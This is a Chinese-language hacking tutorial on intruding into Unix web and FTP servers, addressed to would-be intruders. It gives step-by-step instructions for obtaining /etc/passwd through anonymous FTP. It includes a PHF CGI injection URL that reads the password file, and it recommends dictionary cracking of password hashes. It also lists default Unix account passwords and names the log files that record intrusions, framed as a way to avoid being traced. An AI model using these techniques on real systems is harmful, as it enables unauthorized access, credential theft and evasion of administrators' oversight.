       其实每一个黑客都有自己独到的方法。笔者对于入侵网站服务器的资料收集了很多,但是因为实际情况的不同,往往造成许多方法的失效;由此可见,每一个网站的情况都不同,需要入侵者区分对待。假设深圳的线路比北京的线路要好的多,从而给了词典穷举很大的方便,深圳用户就可以依靠这个优势在线攻击口令,作为北京的用户就需要优先考虑其它办法了。针对这么多的入侵手段,笔者参考H ackalot先生这位黑客界名人的一篇文章给大家介绍一下入侵网站的基本步骤。 
       分析一部分的主页被黑的事例可以发现使用入侵者最热衷于入侵Web服务器和FTP服务器,因为相对来说这是最简单的两种途径。在假设读者对U NIX系统和WEB SERVER的知识不曾了解的情况下,笔者给出下面的步骤。


一、了解要入侵的系统 
       现在网络上用作服务器的操作系统以UNIX和Linux为主流,如果要入侵这些系统则必须对它们有一个了解。
大部份在 DOS 上使用的指令在 UNIX 及 Linux 上都有对应的指令(因为早期的dos开发借鉴了UNIX),以下列出在使用 SHELL帐号 (shell account)时最主要的一些指令对应的dos指令:
HELP=HELP
CP=COPY
MV= MOVE
LS= DIR
RM =DEL
CD=CD 
       要看谁同時也在该系統上用户可以键入 WHO 指令,要知道系統上某一位使用者的资料, 可以鍵入 FINGER。这些基本的 UNIX 指令可以让你得到你正使用系統的信息。

二、破解密码 
       在UNIX操作系统中, 所有系统使用者的密码都存放在一个文件中,这个文件存放在 /etc这个目录下面, 它的文件名就叫做passwd。如果读者认为所要做的工作就是拿到这个文件按照上面的密码登陆系统的话那就大错特错了。UNIX和Linux下的p asswd文件是特殊的,在它里面所有帐号的密码都已经经过重新编译的(也就是前面说过的DES加密方法),而且这些密码所进行的都是单向编译( one-way encrypted),也就是说没有办法可以反编译它的(decrypt)。 
       但是还是有些程序可以得到这些原始的密码。笔者向大家推荐一个破解密码的程序“Cracker Jack”,它也是一个使用字典来对字典文件进行穷举的软件。首先“Cracker Jack”会把字典文件里的每一个值进行编译,然后将编译过的值与密码文件中的内容进行比较,得到相同的结果就会报告对应的未经编译密码。这个软件巧妙的绕过密码无法反编译的限制,使用穷举比较获得密码。使用这种原理获得密码的工具有许多,读者可以到网络上去搜寻一下。

三、获得密码文件 
       这是最困难的一部分。很明显,如果管理员有那么一个密码文件的话他当然不会放在那里让其它人舒舒服服的拿到的。入侵者必须找到好方法以不进入系统的方式拿到密码文件。这里笔者向大家介绍两种方法,大家可以试试,有可能会成功。
1.tc目录在FTP服务上不会被锁住,入侵可以用FTP client程序使用anoymously匿名帐号登陆,然后检查一下/etc/passwd是否为匿名设置了被读取的权限,如果有马上备份下来使用软件解码。
2.些系统中,/cgi-bin目录下会有个叫PHF的文件,如果准备入侵的服务器上有的话那就要方便的多了。因为PHF允许使用者对网站系统里的文件作远端读取,以此为据,用户可以使用浏览器抓取p asswd文件,只要在浏览器地址栏中键入URL:http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd,其中xxx.xxx.xxx 是要入侵的网站名。
如果这两种方法都行不通的话,那入侵者必须实施其它的办法了。
在有些情况下入侵者找到的密码文件的第二部分是X、!或者*,那么说明该密码文件已经被锁死,这是系统管理员使用的加强安全的手段之一。但是将密码文件完全隐藏起来的情况是不太有的。通常情况下都会有未经锁死的密码文件备份在系统中,这样入侵者就可以加以利用,比如:入侵者通常会寻找/ etc/shadow目录或类似的目录,看能否找到密码文件的备份。

四、建立自己的shell帐号 
       经过二、三两个关键的步骤入侵者终于拿到了关键的密码文件,并且破解出了密码。现在可以运行TELNET程序,登陆主机了。当连上服务器时服务器会向你显示自己的一些信息,通常是U NIX、linux、 aix、 irix、 ultrix、 bsd 甚至是 DOS 和VAX/Vms;然后是Login提示符出现在屏幕上,这时键入得来的帐号和密码即可登陆系统。此时入侵者就可以利用自己的UNIX知识做自己喜欢做的事了。

最后对一份密码文件做一个分析,该文件内容如下:
root:1234aaab:0:1:Operator:/:/bin/csh
nobody:*:12345:12345::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
sun:123456hhh:0:1:Operator:/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sysdiag:*:0:1:Old System
Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System
Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
tom:456lll45uu:100:20::/home/tom:/bin/csh
john:456fff76Sl:101:20:john:/home/john:/bin/csh
henry:AusTs45Yus:102:20:henry:/home/henry:/bin/csh
harry:SyduSrd5sY:103:20:harry:/home/harry:/bin/csh
steven:GEs45Yds5Ry:104:20:steven:/home/steven:/bin/csh
+::0:0:::

其中以“:”分成几个栏位,比如: tom:456lll45uu:100:20:tomchang:/home/tom:/bin/csh的含义是:
User Name: tom
Password: 456lll45uu
User No: 100
Group No: 20
Real Name: tom chang
Home Dir: /home/tom
Shell: /bin/csh

       读者可以发现以上诸如nobody、 daemon、 sys、 bin、 uucp、 news、 audit、 sysdiag、sundiag 等的密码栏位都是*,也就是说这些帐号的密码都已锁死,无法直接利用。

       值得注意的是,许多系统在首次安装后会有一些缺省帐号和密码,这给投机主义的黑客带来方便,以下就是一些UNIX下缺省的帐号和密码。
ACCOUNT PASSWORD
----------- ----------------
root root
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot 供“command login”使用
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon

       其中 root mountfsys umountfsys install (有時候 sync也是) 等都是root级别的帐号, 也就是拥有了sysop (系统管理员)的权限。

       最后有必要介绍一下UNIX的日志文件。很多入侵者不希望侵入的电脑追踪他们,那到底如何做那。 
       系统管理员主要依靠系统的LOG,即我们时常所说的日志文件来获得入侵的痕迹及入侵者进来的IP和其他信息。当然也有些管理员使用第三方工具来记录侵入电脑的信息,这里主要讲的是一般U NIX系统里记录入侵踪迹的文件。

       UNIX系统有多个版本,各个系统有不同的LOG文件,但大多数都应该有差不多的存放位置,最普通的位置就是下面的这几个:
/usr/adm,早期版本的UNIX;
/var/adm,新一点的版本使用这个位置;
/var/log,一些版本的Solaris,Linux BSD,Free BSD使用这个位置;
/etc,大多数UNIX版本把utmp放在此处,一些也把wtmp放在这里,这也是 syslog.conf的位置。

       下面列举一些文件的功能,当然他们也根据入侵的系统不同而不同。
acct 或 pacct,记录每个用户使用的命令记录;
access_log,主要使用来服务器运行了NCSA HTTPD,这个记录文件会有什么站点连接过你的服务器;
aculog,保存着你拨出去的MODEMS记录;
lastlog,记录了用户最近的登陆记录和每个用户的最初目的地,有时是最后不成功登陆的记录;
loginlog,记录一些不正常的登陆记录;
messages,记录输出到系统控制台的记录,另外的信息由syslog来生成;
security,记录一些使用UUCP系统企图进入限制范围的事例;
sulog,记录使用su命令的记录;
utmp,记录当前登录到系统中的所有用户,这个文件伴随着用户进入和离开系统而不断变化;
utmpx,UTMP的扩展;
wtmp,记录用户登录和退出事件;
syslog,最重要的日志文件,使用syslogd守护程序来获得。
日志信息:
/dev/log,一个UNIX域套接字,接受在本地机器上运行的进程所产生的消息;
/dev/klog,一个从UNIX内核接受消息的设备;
514端口,一个INTERNET套接字,接受其他机器通过UDP产生的syslog消息;
Uucp,记录的UUCP的信息,可以被本地UUCP活动更新,也可有远程站点发起的动作修改,信息包括发出和接受的呼叫,发出的请求,发送者,发送时间和发送主机;
lpd-errs,处理打印机故障信息的日志;
ftp日志,执行带-l选项的ftpd能够获得记录功能;
httpd日志,HTTPD服务器在日志中记录每一个WEB访问记录;
history日志,这个文件保存了用户最近输入命令的记录;
vold.log,记录使用外接媒介时遇到的错误记录。

       以上介绍了一下入侵服务器的主要步骤,读者现在应该对它有一些基础的认识了。需要再次强调的是如果读者对UNIX系统缺乏了解的话那是绝对不可能掌握它的。





    摘要:收费资源我做主之手法(入侵)篇    (全文共9543字)——点击此处阅读全文